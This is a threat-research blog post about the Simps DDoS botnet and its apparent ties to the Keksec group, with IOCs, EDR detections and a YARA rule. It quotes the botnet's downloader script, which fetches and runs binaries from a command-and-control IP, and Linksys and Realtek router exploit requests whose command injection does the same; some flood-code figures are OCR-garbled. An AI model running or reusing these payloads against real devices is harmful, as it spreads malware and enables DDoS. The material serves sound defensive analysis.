# Discovery of Simps Botnet Leads To Ties to Keksec Group

uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group



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<u>Uptycs' threat research team</u> has discovered a new Botnet named 'Simps' attributed to Keksec group primarily focussed on DDOS activities. We discovered the Simps Botnet binaries downloaded via shell script sample and Remote Code Execution vulnerability exploits by Gafgyt - <u>detailed</u> in our earlier post.

Based on our analysis and threat intelligence, we have the following observations:

- Simps Botnet binary uses Mirai and Gafgyt modules for DDOS functionality
- The Botnet might be in the early stages of development because of the presence of the infected.log file after execution
- The author behind this Botnet has a Youtube channel and Discord Server for the usage and demonstration of the Botnet
- The Youtube channel and the historical data provided evidence that Simps Botnet is active since April 2021
- The Discord server discussions and threat intel data provided us evidence of the possible association of Simps Botnet to <u>Keksec group</u>

This post will cover details on our discovery, threat intelligence data attributing relations to Keksec group, working of the binaries and the code similarity, and reuse modules of Simps Botnet.

## **Discovery of Simps Botnet**

During the first week of May 2021, the Uptycs' threat research team detected a shell script and Gafgyt malware downloading Simps binaries from the same C2- 23.95.80[.]200.

## Shell script downloading Simps binary

The shell script (hash:

c2d5e54544742b7a1b04cf45047859a10bb90c6945d340120872f575aa866e6d), 'ur0a.sh' was downloaded from the C2 URL 23.95.80[.]200.

The script downloaded several next stage payloads for several \*nix architectures from the open directory named "Simps" in the same C2 URL from where the shell script was downloaded (see Figure 1)

1#1/bin/sh
2 cd /tmp;rm -rf x86_64;wget http://23.95.80.200/Simps/x86_64;chmod +x x86_64;./x86_64 x86_64;x86_64 x86_64;rm -rf x86_64;
3 cd /tmp;rm -rf i586;wget http://23.95.80.200/Simps/i586;chmod +x i586;./i586 i586;sh i586 i586;rm -rf i586;
<pre>4 cd /tmp;rm -rf mips;wget http://23.95.80.200/Simps/mips;chmod +x mips;./mips mips;sh mips mips;rm -rf mips;</pre>
5 cd /tmp;rm -rf mipsel;wget http://23.95.80.200/Simps/mipsel;chmod +x mipsel;./mipsel mipsel;sh mipsel;rm -rf mipsel;
6 cd /tmp;rm -rf armv4l;wget http://23.95.80.200/Simps/armv4l;chmod +x armv4l;./armv4l armv4l;sh armv4l armv4l;rm -rf armv4l;
7 cd /tmp;rm -rf armv5l;wget http://23.95.80.200/Simps/armv5l;chmod +x armv5l;./armv5l armv5l;sh armv5l;rm -rf armv5l;
8 cd /tmp;rm -rf armv6l;wget http://23.95.80.200/Simps/armv6l;chmod +x armv6l;./armv6l armv6l;sh armv6l armv6l;rm -rf armv6l;
<pre>9 cd /tmp;rm -rf armv7l;wget http://23.95.80.200/Simps/armv7l;chmod +x armv7l;./armv7l armv7l;sh armv7l;rm -rf armv7l;</pre>
<pre>10 cd /tmp;rn -rf powerpc;wget http://23.95.80.200/Simps/powerpc;chmod +x powerpc;./powerpc powerpc;sh powerpc powerpc;rm -rf powerpc;</pre>
<pre>11 cd /tmp;rn -rf powerpc-440fp;wget http://23.95.80.200/Simps/powerpc-440fp;chmod +x powerpc-440fp;./powerpc-440fp powerpc-440fp;sh</pre>
powerpc-440fp powerpc-440fp;rm -rf powerpc-440fp;
12 cd /tmp;rm -rf sparc;wget http://23.95.80.200/Simps/sparc;chmod +x sparc;./sparc sparc;sh sparc sparc;rm -rf sparc;
13 cd /tmp;rm -rf m68k;wget http://23.95.80.200/Simps/m68k;chmod +x m68k;./m68k m68k;sh m68k m68k;rm -rf m68k;
14 cd /tmp;rm -rf i686;wget http://23.95.80.200/Simps/i686;chmod +x i686;./i686 i686;sh i686 i686;rm -rf i686;
15 cd /tmp;rm -rf sh4;wget http://23.95.80.200/Simps/sh4;chmod +x sh4;./sh4 sh4;sh sh4 sh4;rm -rf sh4;

Figure 1: Malicious Shell script dropping payloads

The script performs the following:

- 1. Uses Wget to fetch the payloads from 23.95.80[.]200 in simps directory to tmp.
- 2. Changes permission using chmod.
- 3. Deletion of the payloads using the command rm.

On execution of the Simps binary, it drops a log file containing that the device has been infected with malware by Simps Botnet (see Figure 2)




Figure 2: Dropped log file

The binary also connects to the C2 23.95.80[.]200 (see figure 3)

```
01:54:48.455797 socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3<TCP:[51425]>
01:54:48.459749 fcntl(3<TCP:[51425]>, F_GETFL) = 0x2 (flags 0_RDWR)
01:54:48.459826 fcntl(3<TCP:[51425]>, F_SETFL, 0_RDWR|0_NONBLOCK) = 0
01:54:48.459961 connect(3<TCP:[51425]>, {sa_family=AF_INET,
sin_port=htons(679), sin_addr=inet_addr("23.95.80.200")}, 16) = -1
EINPROGRESS (Operation now in progress)
```

Figure 3: C2 communication

### Gafgyt downloading Simps binary

During this same time, Gafgyt binary (hash:

**e847dfbd831df6015519d03d42ada8241ce1174e9bd96f405452627617229c63**) was also downloading Simps binary from the same C2 URL. The Simps payload was delivered by exploiting multiple Remote Code Execution vulnerabilities in vulnerable IOT devices. An excerpt of Realtek and Linksys router exploits downloading the next stage payloads. (see Figure 4 and 5)

```
POST /tmUnblock.cgi HTTP/1.1
Host: 127.0.0.1:80
```

```
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.20.0
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-
rf+Tmipsel%3B+wget+http%3A%2F%2F23.95.80.200%2FSimps%2FTmipsel%3B+chmod+777
%2FTmipsel+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_
[linksys] FD%d finnished
[linksys] FD%d connected to %d.%d.%d.%d
```

Figure 4: Linksys router exploit

```
POST /picdesc.xml HTTP/1.1
Host: 127.0.0.1:52869
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/-
soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/-
encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-
org:service:WANIPConnection:1"><NewRemoteHost></-
NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</-
NewProtocol><NewInternalPort>44382</-
NewInternalPort><NewInternalClient>`cd /var; rm -rf mips; wget http://-
23.95.80.200/Simps/mips -0 mips; chmod 777 mips; ./mips realtek`</-
NewInternalClient><NewEnabled>1</-
NewEnabled><NewPortMappingDescription>syncthing</-
NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></-
u:AddPortMapping></s:Body></s:Envelope>
[realtek] FD%d finnished
```

Figure 5: Realtek router exploit

Both these exploits downloaded a Simps MIPS UPX packed binary (hash -6d18b433183fc68cd7b731fed198732d3460a21afba53163f059152bd410b55f), for MIPS architecture which also displays a message that the device has been infected by Simps Botnet (see Figure 6)




Figure 6: Simps ELF execution


### Simps Botnet - Youtube channel and Discord server

While looking into the historical data of our threat intelligence systems and passive DNS records, we identified several malicious URLs (hash in IOCs section below) downloading a shell script named ur0a.sh and containing Simps next stage payloads. Another commonality was the Simps Botnet infection log message. Searching for these common entries led us to a YouTube video titled "Simps Botnet", Slamming!!!", created by a user named "itz UR0A" created on 24 April 2021. (see Figure 7)

Contacts: 4. Contacts: 4. Contacts: 4. Contacts: 4. Contacts: 5. Admin.fg: perclass. 5. Admin.fg: perclass. 6. Admin.fg: perclass. 7. Admi	7
Text Constant Lange 1 Allow         1 Lines - J Ris         1 Lines - J Lines - J Lines - J Ris         1 Lines - J Lines - J Lines - J Ris         1 Lines - J Lines - J Lines - J Ris         1 Lines - J Lines - J Lines - J Ris         1 Lines - J Lines - J Lines - J Ris         1 Lines - J Lines - J Lines - J Ris         1 Lines - J Lines - J Lines - J Lines - J Ris         1 Lines - J Lines - J Lines - J Lines - J Ris         1 Lines - J	
Simps Botnet 😈, Slamming!!! 106 views • Apr 24, 2021	II LIKE 🚚 DISLIKE 🍌 SHARE ☴+ SAVE …
itz UR0A 34 subscribers	SUBSCRIBE
This video is for (Educational Purposes) only!!! Payment Methods: PayPal, Cash App, and Bitcoin ig: @ur0a_	

Figure 7: Youtube video demo of Simps Botnet

The Youtube link also contained a Discord server link of "UR0A", which was also present in the infection log. (see Figure 8)



## Keksec attribution with Simps Botnet

The Discord server contained several discussions around DDOS activities and Botnets carrying different names. One binary we identified in a chat conversation named gay.x86 (hash: e258a284d5cad584a14df27f022c99515de1cec69ab3157640d1ce7584c50ecd). Upon execution, it displayed a message that the system is pawned by md5hashguy (see Figure 9)

hello friend :)
U have been pawned by the md5hashguy :) good luck k_i_l_l_
i_n_g my shit ;)
a proud member of KEKSEC #KEKSECONTOP
we going big boys dm me on discord for shit 698a20e0da24bc
ebca57f09b7d695f8d#2881

Figure 9: Discord message

We also came across another Gafgyt malware from a Joesandbox <u>report</u>, that contained the Infected By Simps Botnet ;) message. This malware dropped a file name "keksec.infected.you.log" that contained a message "youve been infected by urmommy, thanks for joining keksec.." (see Figure 10)

/tmp/keksec.infected.you.log		
SHA-256:	0D3D80141438D9CD7F5501E3AB73DE9DE028F591BB198BC0290962E6F6F09C8D	
SHA-512:	42820CFF50B3BD4C978152D3F4C86903C4750F054D358A77B242EEBAD7F574D35FED3FA7A16A1F8524315F87F3716EC540807E42A15AFD024D6D30749F48F81(	
Malicious:	false	
Reputation:	low	
Preview:		
	youve been infected by urmommy, thanks for joining keksec	

#### Figure 10: keksec.infected.you.log file

Interestingly, the same Discord server also contained an users named "urmommy" and "698a20e0da24bcebca57f09b7d695f8d#2881" who actively involved in DDOS activities and Botnet discussions. All this data gathered tied reactions Simps Botnet and the Discord server users related to Keksec group. This group is also referred as <u>Kek Security</u>, which according to NSFOCUS is a group which operates HybridMQ-keksec, a Botnet created with Trojan programs. HybridMQ-keksec is a DDoS Trojan program obtained by combining and modifying the source code of Mirai and Gafgyt."

v69 = pch;	struct iphdr *iph = (struct iphdr *)packet;
v68 = "syn";	<pre>struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);</pre>
v67 = 4LL;	makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
v17 = pchg	tcph-source = rand_cmwc();
v18 = "sym";	
v19 = 4LL; do	tcph->seq = rand_cnwc();
( Simps	tcph->ack_seq = 0; tcph->ack_seq = 0;
if ( 1v19 )	ccpii-Jaorr = 5,
break;	if(!stremp(flags, "all")) {
v20 = "v17 < "v18;	tcph->syn = 1;
v21 = *v17++ == *v18++;	tcph->rst = 1;
	tcph->fin = 1;
while (v21):	tcph->ack = 1;
<pre>v22 = (char)((1v20 &amp; 1v21) - v20);</pre>	tcph->psh = 1;
v23 = 0;	} else {
v24 = v22 == 0;	unsigned char *pch = strtok(flags, ",");
if ( v22 )	while(pch) {
v66 = pch:	if(!strcmp(pch, "syn")) { tcph->syn = 1;
v65 = "rst";	<pre>} else if(!strcmp(pch, "rst")) { tcph-&gt;rst = 1;</pre>
v64 = 4LL;	<pre>} else if(!strcmp(pch, "fin")) { tcph-&gt;fin = 1;</pre>
v25 = pch;	else if(istrcmp(pch, "ack")) { tcph->ack = 1;
v26 = "rst";	) else if(istrappen, "esh") ( tep-spsh = 1;
v27 = 4LL;	) else {
do	1 6126 [
if (1v27)	
break	<pre>pch = strtok(NULL, ",");</pre>
v23 = *v25 < *v261	3

Figure 11: TCP flood module of Simps and Mirai

<pre>n = Linex / Line (Line regime _ invergenc + 1 &gt; 4); (b) = (option ')(16 * {((instance _ int64)&amp;v20 + 7 )&gt; 4) + 20); 10 = pretendentP(netnesk); 11 = pretendentP(netnesk); 12 = htons[(instance _ int64)(packetsizes + 8)); (p)-len = vi); (p)-len =</pre>	<pre>in_addr_t netmask; netmask = ( ~((1 &lt;&lt; (32 - spoofit)) - 1) ); unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize]; struct udphdr *udph = (struct iphdr *)packet; struct udphdr *udph = (void *)iph + sizeof(struct iphdr); makeIPFacket[iph, dest_addr.s_addr, thton! [getRandenIP(netmask) ), IPPROTO_UDP, sizeof(struct udph-&gt;len = htons(sizeof(struct udphdr) + packetsize); udph-&gt;source = rand_cmwc(); udph-&gt;check = 0; makeRandomStr((unsigned char *)((unsigned char *)udph) + sizeof(struct udph-&gt;check = 0; makeRandomStr((unsigned char*) (((unsigned char *)udph) + sizeof(struct iph-&gt;check = csum (unsigned short *) packet, iph-&gt;tot len); int end = time(NULL) + timeEnd; register unsigned int i = 0; while(1) { sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&amp;dest_addr, sizeof(dest_addr)); udph-&gt;source = rand_cmwc();</pre>
--	---

Figure 12: UDP flood module of Simps and Mirai

Similarly, Simps binaries also have the Valve source Engine and OVH modules which were also seen in a <u>variant</u> of Gafgyt that targeted Huawei and Asus Routers and killed its rival IoT Botnets. The code similarity of the Valve source Engine module used by Simps was similar to Gafgyt. (see Figure 13)

SC afst: 70 affn: 74 aAck: 76 aPsh: 7C aTsourceEngine 7C 7C 7C		<ul> <li>BATA XREF: ftcp+478to</li> <li>BATA XREF: ftcp+428to</li> <li>BATA XREF: ftcp+420to</li> <li>BDATA XREF: ftcp+524to</li> <li>BOATA XREF: ftcp+524to</li> <li>BATA XREF: ftcp+524to</li> <li>B</li></ul>		950 ; e 90h 90h 90h 90h 90h 90h 1/58/x49/x4a/x20/x51/x22/x29/x51/x50/x57/x4b/x4f/x4d/x20 x54/x* ; DXTA XREF, makerspeciety.44o ; vsettackv370
ED unk_4200F0: F0 Unk_4200F0: F1 F2 F3 F4 F5 F6 F7 F8 F9 F9 F9 F0 F0 F0 F0 F0 F0 F0 F0	align 4 .byte 0x84 .byte 0x87 .byte 0x87 .byte 0x87 .byte 0x87 .byte 0x85 .byte 0x98 .byte 0x98 .byte 0x98 .byte 0x85 .byte 0x85 .byte 0x85	# DATA XREF: SendHTTPHex+70to # sendHTTPtwo+70to Gafgyt		*45/x4d/x4b/x22/x20/x6c/x78/x50/x51/x7b/x58/x4c/x20/x22/x28/x4b/x6* *3/x6a/x6e/x6a/x4e/x4b/x20/x58/x4e/x43/x4b/x6b/x65/x36/x4c/x3a/x20* */x62/x22/x22/x35/x5/x42/x52/x60/x32/x32/x46/x65/x67/x63/x43/x20*x42/x4b/ *x6d/x4c/x44*,0 */46/x55/x5a/xc2/xa3/x20/x44/xc2/xa3/x53/x54/x20/x53/x40/x22/xc2/x* DATA XIEF: makrespacktiloc_403/08/to *a3/x43/x45/x20*x23/x32/x20/x44/xc2/x43/x53/x54/x20*x53/x40*x53/x20*x64/x20* *a3/x43/x45/x20*x32/x40/x57/x4a/x46*x20*x53/x44/x20*x53/x40*x50*x78* *x21/x20*x20*x33/x40/x57/x4a/x46*x20*x53/x54/x20*x53/x40*x20* *x21/x20*x20*x33/x40/x57/x4a/x46*x20*x53/x50*x44*x20*x53/x30*x20*x20* *x21/x20*x20*x33/x40/x57/x4a/x46*x20*x53/x50*x44*x20*x53/x30*x20*x20* *x21/x20*x20*x33/x40/x57/x4a/x46*x20*x53/x50*x44*x20*x21/x20*x20* *x21/x20*x20*x33/x40/x57/x4a/x46*x20*x53/x50*x40*x20*x20*x20* *x21/x20*x20*x33/x40/x57/x4a/x46*x20*x53/x50*x40*x20*x20*x20* *x21/x20*x20*x33/x40/x57/x4a/x46*x20*x53/x50*x40*x50*x40*x20*x20*x20* *x21/x20*x20*x33/x40*x50*x40*x20*x20*x50*x40*x20*x20*x20* *x21/x20*x20*x30*x40*x50*x40*x20*x20*x50*x40*x20*x20*x20* *x21/x20*x20*x30*x40*x50*x40*x20*x20*x50*x40*x20*x20*x20*x20* *x21/x20*x20*x30*x40*x50*x40*x20*x20*x50*x40*x20*x20*x20*x20* *x21/x20*x20*x30*x40*x50*x50*x60*x50*x40*x20*x20*x20*x20* *x21/x20*x20*x30*x40*x50*x50*x60*x50*x50*x60*x20*x20*x20*x20*x20*x20* *x21/x20*x20*x20*x20*x20*x20*x50*x50*x60*x20*x20*x20*x20*x20*x20*x20*x20*x20*x2
TA	.byte 0xEA	in al	× > St vseattack (3)	*a3/x43/x45/x20/x22/x29/x21/x28/x32/x30/x39/x31/x20/x53/x49/x58/x2* 000000% 00000000000005%: www.aw.00000000000000000000000000000000

Figure 13: VSE attack module of Simps and Gafgyt

## **Uptycs EDR Detections**

<u>Uptycs' EDR capabilities</u>, armed with YARA process scanning, detected Simps downloader shell-script activity (See Figure 13) and the Simps ELF binary with a threat score of 10/10 (See Figure 14).

1 1	
0	May 7th 2021, 4:30:59 pm
	Wget dropped executable files- T1204.002 User Execution_LINUX
4.0	/tmp/sh4 Code: ATTACK_WGET_DROP_ELF_T1204.002_LINUX_USER_EXECUTION_MALICIOUS_FILE
Ų	May 7th 2021, 4:30:59 pm 🕜 🎹
	Process dropped executable file in monitored directories - T1204.002 User Execution_LINUX
2.5	/tmp/sh4 Code: ATTACK_DROP_ELF_T1204.002_LINUX_USER_EXECUTION_MALICIOUS_FILE
	May 7th 2021, 4:30:59 pm 🚯 🎹
0.5	Process attempting to set executable bit on file - T1525 Persistence for Linux /tmp/i686 Code: ATTACK_PERSISTENCE_T1525_LINUX_CHMOD_SET_EXECUTABLE_FLAG
0.5	/unp/robo Code: ATTACK_PERSISTENCE_T1325_LINUX_CHMOD_SET_EXECUTABLE_FLAG
	May 7th 2021, 4:30:59 pm
	Wget process started from /tmp directory T1105 Command and Control for Linux
1.0	/usr/bin/wget Code: ATTACK_COMMAND_AND_CONTROL_T1105_LINUX_WGET_TMP_UPDATED
	May 7th 2021, 4:30:57 pm 🕜 🏢
	Process attempting to set executable bit on file - T1525 Persistence for Linux
0.5	/tmp/m68k Code: ATTACK_PERSISTENCE_T1525_LINUX_CHMOD_SET_EXECUTABLE_FLAG
	May 7th 2021, 4:30:57 pm 🕢 🏭
	Wget process started from /tmp directory T1105 Command and Control for Linux
1.0	/usr/bin/wget Code: ATTACK_COMMAND_AND_CONTROL_T1105_LINUX_WGET_TMP_UPDATED
•	May 7th 2021, 4:30:55 pm 🕜 🎹
0.5	Process attempting to set executable bit on file - T1525 Persistence for Linux
0.5	/tmp/sparc Code: ATTACK_PERSISTENCE_T1525_LINUX_CHMOD_SET_EXECUTABLE_FLAG

Figure 14: Shell script detection




Figure 15: Simps binary detection

Additionally, <u>Uptycs' EDR</u> also detects the outbound connection of the malware C2 URLs via our threat intelligence.

## Conclusion

Our research initially started with the discovery and analysis of Simps Botnet binaries used for DDOS activities. Using <u>Uptycs' EDR</u>, threat intelligence data and Open-source intelligence (OSINT) we were able to tie relations and attribute Simps Botnet to the Keksec group. The Uptycs threat research team has reported the associated Discord server, Youtube and Github links to the concerned entities. We will continue to monitor the developments of this group and share updates.

We recommend the following measures for enterprise users and administrators to identify and protect against such attacks

- Regularly <u>monitor</u> the suspicious processes, events, and network traffic spawned on the execution of any untrusted binary / scripts.
- Always be cautious in executing shell-scripts from unknown or untrusted sources.
- Keep systems and firmware updated with the latest releases and patches.
- For more on IOC's, URL's and YARA, see below after the break

Want to learn more about how Uptycs EDR can improve security transparency in your hybrid cloud environment? Click below to see a live demo.

## See a live demo!

## IOCs

#### Hashes

- 1. c2d5e54544742b7a1b04cf45047859a10bb90c6945d340120872f575aa866e6d
- 2. 45dda743b2c85f0bda113a271dad2e27c059bbacbbd083e420bf6777610c1f12
- 3. c1f4402201114a74cc213ac8c0f2ccac9a9ec6edfc3d672b6055763a960001c1
- 4. e847dfbd831df6015519d03d42ada8241ce1174e9bd96f405452627617229c63
- 5. 6d18b433183fc68cd7b731fed198732d3460a21afba53163f059152bd410b55f

### URLs

- 1. 159.65.46.32
- 2. 45.14.224.127
- 3. 185.224.129.235
- 4. b0tz.xyz
- 5. 23.95.80.200

## YARA

#### rule Uptycs\_Simps

{

meta:

```
malware_name = "Simps"
```

```
description = "Simps is a Botnet that uses several DDOS modules from Mirai and Gafgyt"
```

author = "Uptycs Inc."

version = "1"

#### strings:

\$simps\_0 = "Infected By Simps Botnet" ascii wide nocase

\$simps\_1 = "This Device Has successfully Been Infected" ascii wide nocase

#### condition:

all of (\$simps\*)

}

Tag(s): threat research

## Uptycs Threat Research

Research and updates from the Uptycs Threat Research team.

Connect with the author